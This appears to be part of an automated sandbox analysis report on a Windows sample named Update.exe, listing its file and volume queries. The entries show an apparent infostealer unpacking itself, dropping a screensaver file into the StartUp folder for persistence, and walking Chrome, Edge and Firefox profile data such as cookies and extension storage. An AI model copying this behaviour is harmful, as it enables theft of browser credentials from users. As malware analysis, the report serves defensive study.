Source: C:\Users\user\Desktop\Update.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI68522\base_library.zip VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Update.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI68522\base_library.zip VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Update.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI68522 VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Update.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI68522\_queue.pyd VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Update.exe Queries volume information: C:\Users\user\Desktop\Update.exe VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Update.exe Queries volume information: C:\Users\user\Desktop\Update.exe VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Update.exe Queries volume information: C:\Users\user\Desktop\Update.exe VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Update.exe Queries volume information: C:\Users\user\Desktop\Update.exe VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Update.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI68522 VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Update.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI68522 VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Update.exe Queries volume information: C:\Users\user\Desktop\Update.exe VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Update.exe Queries volume information: C:\Users\user\Desktop\Update.exe VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Update.exe Queries volume information: C:\Users\user\Desktop\Update.exe VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Update.exe Queries volume information: C:\Users\user\Desktop\Update.exe VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Update.exe Queries volume information: C:\Users\user\Desktop\Update.exe VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Update.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI68522\bound.blank VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Update.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI68522\bound.blank VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Update.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI68522\bound.blank VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Update.exe Queries volume information: C:\Users\user\AppData\Local\Temp\bound.exe VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Update.exe Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Update.exe Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Update.exe Queries volume information: C:\Users\user\Desktop\Update.exe VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Update.exe Queries volume information: C:\Users\user\Desktop\Update.exe VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Update.exe Queries volume information: C:\Users\user\Desktop\Update.exe VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Update.exe Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ ? ?.scr VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Update.exe Queries volume information: C:\Users\user\Desktop\Update.exe VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Update.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI68522\base_library.zip VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Update.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI68522\base_library.zip VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Update.exe Queries volume information: C:\Users\user\Desktop\Update.exe VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Update.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI68522 VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Update.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI68522\unicodedata.pyd VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Update.exe Queries volume information: C:\Users\user\AppData\Local\Temp VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Update.exe Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Update.exe Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Update.exe Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Update.exe Queries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessibility VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Update.exe Queries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessories VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Update.exe Queries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Administrative Tools VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Update.exe Queries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Update.exe Queries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\System Tools VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Update.exe Queries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Windows PowerShell VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Update.exe Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessibility VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Update.exe Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\System Tools VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Update.exe Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Administrative Tools VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Update.exe Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\AutoIt v3\Extras VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Update.exe Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\AutoIt v3\Extras\AutoItX VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Update.exe Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Java VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Update.exe Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Maintenance VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Update.exe Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\AutofillStates VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Update.exe Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Update.exe Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\CertificateRevocation VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Update.exe Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\AutofillStates VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Update.exe Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\CertificateRevocation VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Update.exe Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\CommerceHeuristics VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Update.exe Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\CommerceHeuristics VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Update.exe Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Crashpad VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Update.exe Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Crashpad\attachments VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Update.exe Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Crashpad\attachments VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Update.exe Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Crashpad\reports VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Update.exe Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Crowd Deny VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Update.exe Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Crowd Deny VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Update.exe Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Update.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Update.exe Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\AutofillStrikeDatabase VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Update.exe Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\AutofillStrikeDatabase VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Update.exe Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\blob_storage VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Update.exe Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\blob_storage\fccd7e85-a1ff-4466-9ff5-c20d62f6e0a2 VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Update.exe Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\blob_storage\fccd7e85-a1ff-4466-9ff5-c20d62f6e0a2 VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Update.exe Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\BudgetDatabase VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Update.exe Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\BudgetDatabase VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Update.exe Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Update.exe Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js\index-dir VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Update.exe Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js\index-dir VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Update.exe Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache\wasm VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Update.exe Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache\wasm VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Update.exe Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache\wasm\index-dir VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Update.exe Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Update.exe Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\DawnCache VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Update.exe Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Download Service VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Update.exe Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Download Service\EntryDB VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Update.exe Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Download Service\Files VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Update.exe Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension Rules VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Update.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Update.exe Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension Scripts VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Update.exe Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension Scripts VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Update.exe Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension State VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Update.exe Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Update.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\content-prefs.sqlite VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Update.exe Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\AutofillStates VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Update.exe Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Update.exe Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Update.exe Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Update.exe Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0 VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Update.exe Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0 VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Update.exe Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Update.exe Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Update.exe Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\CertificateRevocation VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Update.exe Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Update.exe Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Crashpad\attachments VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Update.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Update.exe Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\af VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Update.exe Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\af VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Update.exe Queries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessibility VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Update.exe Queries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessories VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Update.exe Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Update.exe Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Crowd Deny VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Update.exe Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Update.exe Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\AutofillStrikeDatabase VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Update.exe Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\blob_storage VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Update.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\favicons.sqlite VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Update.exe Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\blob_storage\fccd7e85-a1ff-4466-9ff5-c20d62f6e0a2 VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Update.exe Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js\index-dir VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Update.exe Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache\wasm\index-dir VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Update.exe Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\am VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Update.exe Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\CertificateRevocation VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Update.exe Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\am VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Update.exe Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\ar VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Update.exe Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\az VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Update.exe Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\be VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Update.exe Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Crashpad\attachments VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Update.exe Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\bn VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Update.exe Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\az VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Update.exe Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Crashpad VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Update.exe Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Crashpad\attachments VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Update.exe Queries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessibility VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Update.exe Queries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessories VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Update.exe Queries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Administrative Tools VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Update.exe Queries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Update.exe Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\7-Zip VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Update.exe Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessibility VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Update.exe Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\System Tools VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Update.exe Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\AutoIt v3\Extras VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Update.exe Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\AutoIt v3\Extras\AutoItX VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Update.exe Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Maintenance VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Update.exe Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Update.exe Queries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Maintenance VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Update.exe Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\System Tools VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Update.exe Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\AutoIt v3\Extras VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Update.exe Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\AutoIt v3\Extras\AutoItX VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Update.exe Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Cache VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Update.exe Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\cy VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Update.exe Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Cache VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Update.exe Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Update.exe Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\af VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Update.exe Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\am VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Update.exe Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Update.exe Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Update.exe Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Update.exe Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Update.exe Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Update.exe Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\fil VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Update.exe Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\fr VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Update.exe Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Update.exe Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Update.exe Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\hi VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Update.exe Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Update.exe Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Update.exe Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\hu VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Update.exe Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\hy VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Update.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\permissions.sqlite VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Update.exe Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Cache VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Update.exe Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Code Cache\js VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Update.exe Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Code Cache\js\index-dir VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Update.exe Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\is VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Update.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Update.exe Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Update.exe Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\be VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Update.exe Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\bn VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Update.exe Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Microsoft Office Tools VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Update.exe Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Update.exe Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\iw VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Update.exe Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Update.exe Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\ja VolumeInformation Jump to behavior
